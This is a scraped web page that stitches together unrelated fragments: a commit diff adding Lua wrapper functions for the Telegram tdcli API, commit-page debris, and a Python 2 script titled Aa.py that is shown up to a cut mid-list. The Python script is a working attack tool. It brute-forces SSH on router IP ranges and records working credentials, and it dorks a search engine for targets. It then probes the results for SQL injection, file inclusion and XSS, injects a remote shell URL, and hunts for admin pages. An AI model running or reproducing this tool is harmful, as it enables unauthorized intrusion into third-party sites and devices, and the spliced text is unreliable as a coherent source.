({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
BTELNYY / Btelnyy NochatreportPrevent Minecrafts new Chat reports from working while allowing for secure chat
udinparla / Aa.py#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count < numlinks: start = source.find('_t" href', start, end) end = source.find(' onmousedown="return pk', start, end) link = source[start+10:end-1].replace("amp;","") self.queue.put(link) start = end end = len(source) count = count + 1 self.page += 1 if option == '1': for i in range(10): thread = ScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '2': for i in range(10): thread = LScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '3': for i in range(10): thread = XScanClass(self.queue) thread.setDaemon(True) thread.start() self.queue.join() elif option == '4': for i in range(10): thread = RScanClass(self.queue, self.shell) thread.setDaemon(True) thread.start() self.queue.join() class ScanClass(threading.Thread): """Scans for Sql errors and ouputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.schar = "'" self.file = 'sqli.txt' def run(self): """Scans Url for Sql errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np test = site + self.schar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("error in your SQL syntax", data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('oracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('system.data.oledb', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('SQL command net properly ended', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('atoracle.jdbc.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('java.sql.sqlexception', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('query failed:', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('postgresql.util.', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_fetch', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Error:unknown', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database Engine', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Microsoft OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('mysql_numrows', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('mysql_num', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('Invalid Query', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('FetchRow', data, re.I)): self.mysql(test) vuln += 1 elif (re.findall('JET Database', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('OLE DB Provider for', data, re.I)): self.mssql(test) vuln += 1 elif (re.findall('Syntax error', data, re.I)): self.mssql(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def mysql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + W+url else: print O+"MySql: " + url + W write = open(self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() def mssql(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file).read() if url in read: print G+'Dupe: ' + url + W else: print O+"MsSql: " + url + W write = open (self.file, "a+") write.write('[SQLI]: ' + url + "\n") write.close() class LScanClass(threading.Thread): """Scans for Lfi errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.file = 'lfi.txt' self.queue = queue self.lchar = '../' def run(self): """Checks Url for File Inclusion errors""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: lsite = site.rsplit('=', 1)[0] if lsite[-1] != "=": lsite = lsite + "=" test = lsite + self.lchar global vuln global invuln global np try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("failed to open stream: No such file or directory", data, re.I)): self.lfi(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def lfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Lfi: " + url + W write = open(self.file, "a+") write.write('[LFI]: ' + url + "\n") write.close() class XScanClass(threading.Thread): """Scan for Xss errors and outputs to file""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue self.xchar = """<ScRIpT>alert('xssBYm0le');</ScRiPt>""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def xss(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Xss: " + url + W write = open(self.file, "a+") write.write('[XSS]: ' + url + "\n") write.close() class RScanClass(threading.Thread): """Scans for Rfi errors and outputs to file""" def __init__(self, queue, shell): threading.Thread.__init__(self) self.queue = queue self.file = 'rfi.txt' self.shell = shell def run(self): """Checks Url for Remote File Inclusion vulnerability""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np rsite = site.rsplit('=', 1)[0] if rsite[-1] != "=": rsite = rsite + "=" link = rsite + self.shell + '?' try: conn = urllib2.Request(link) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall('uname -a', data, re.I)): self.rfi(link) vuln += 1 else: print B+link + W+' <-- Not Vuln' invuln += 1 else: print R+site + W+' <-- No Parameters' np += 1 self.queue.task_done() def rfi(self, url): """Proccesses vuln sites into text file and outputs to screen""" read = open(self.file, "a+").read() if url in read: print G+'Dupe: ' + url + W else: print O+"Rfi: " + url + W write = open(self.file, "a+") write.write('[Rfi]: ' + url + "\n") write.close() class Atest(threading.Thread): """Checks given site for Admin Pages/Dirs""" def __init__(self, queue): threading.Thread.__init__(self) self.queue = queue def run(self): """Checks if Admin Page/Dir exists""" while True: try: site = self.queue.get(False) except Queue.Empty: break try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) print site found.append(site) self.queue.task_done() except urllib2.URLError: self.queue.task_done() def admin(): """Create queue and threads for admin page scans""" print 'Need to include http:// and ending /\n' site = raw_input('Site: ') queue = Queue.Queue() dirs = ['admin.php', 'admin/', 'en/admin/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/', 'instadmin/', 'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php', 'admin/login.php', 'admin/admin.php', 'admin/account.php', 'joomla/administrator', 'login.php', 'admin_area/admin.php' ,'admin_area/login.php' ,'siteadmin/login.php' ,'siteadmin/index.php', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html', 'admin/admin.html', 'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php', 'admin/home.php', 'admin_area/login.html', 'admin_area/index.html', 'admin/controlpanel.php', 'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html', 'admin/account.html', 'adminpanel.html', 'webadmin.html', 'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html', 'admin_login.html', 'panel-administracion/login.html', 'admin/cp.php', 'cp.php', 'administrator/index.php', 'cms', 'administrator/login.php', 'nsw/admin/login.php', 'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php', 'administrator/account.php' ,'administrator.php', 'admin_area/admin.html', 'pages/admin/admin-login.php' ,'admin/admin-login.php', 'admin-login.php', 'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php', 'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html', 'admin-login.html', 'controlpanel.php', 'admincontrol.php', 'admin/adminLogin.html' ,'adminLogin.html', 'admin/adminLogin.html', 'home.html', 'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html', 'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html', 'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html', 'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html', 'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php', 'account.html', 'controlpanel.html', 'admincontrol.html', 